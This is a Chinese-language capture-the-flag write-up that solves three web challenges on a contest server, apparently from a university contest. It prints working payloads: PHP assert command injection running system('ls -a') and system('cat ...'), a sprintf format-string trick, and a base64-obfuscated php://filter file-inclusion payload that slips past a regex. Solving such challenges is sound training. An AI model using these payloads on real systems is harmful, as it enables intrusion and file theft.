Web

1.一个不能按的按钮

题目地址:http://47.103.6.99:8000.
嵙大校赛wp
嵙大校赛wp
嵙大校赛wp
f12打开控制台,删掉disabled即可点击flag,得到一段php代码
嵙大校赛wp
assert函数:当变量为真值时将字符串当作语句执行,而当false值时将其转换成一空字符串。

如果想要assert执行的话就要先执行file_exists()函数,file_exists()函数是用来检查文件或目录是否存在的,存在返回true,否则返回false。

构造payload:

http://47.103.6.99:8000/flag.php?file=1’) or system(‘ls -a’);//

嵙大校赛wp
发现文件ffll44gg,用cat命令:

http://47.103.6.99:8000/flag.php?file=1’) or system(‘cat .ffll44gg’);//

得到flag:
嵙大校赛wp

嵙大校赛wp

2.I am looking at you

题目地址:http://47.103.6.99:8006/
嵙大校赛wp
sprintf函数:把百分号(%)符号替换成一个作为参数进行传递的变量。
data变量的初始值为“I am looking at you %s”,其中的%s在sprintf函数中作为占位符传入后面的$_v函数的值。所以在构造payload时最后要以%s结尾。

?myname=lalala%s

得到flag:
嵙大校赛wp

3.task

嵙大校赛wp

is_ok函数会对传入的参数进行正则表达式匹配,若传入的参数为两个数字或字母,则会退出函数。然后检测p变量,若p不为字母或数字,则pp变量为解码后的p变量,然后包含一个pp变量。

在base64编码范围之外的字符可以绕过正则表达式。

将payload:

p=php://filter/read=convert.base64-encode/resource=flag.php

进行base64编码,在每一个字符前加一个在base64编码范围之外的单引号,就可以成功绕过。

p='c’G’h’w’O’i’8’v’Z’m’l’s’d’G’V’y’L’3’J’l’Y’W’Q’9’Y’2’9’u’d’m’V’y’d’C’5’i’Y’X’N’l’N’j’Q’t’Z’W’5’j’b’2’R’l’L’3’J’l’c’2’9’1’c’m’N’l’P’W’Z’s’Y’W’c’u’c’G’h’w

用post发送得到flag:

SKCTF{18e599effd0f6da452b24421c2dde0f2}

相关文章: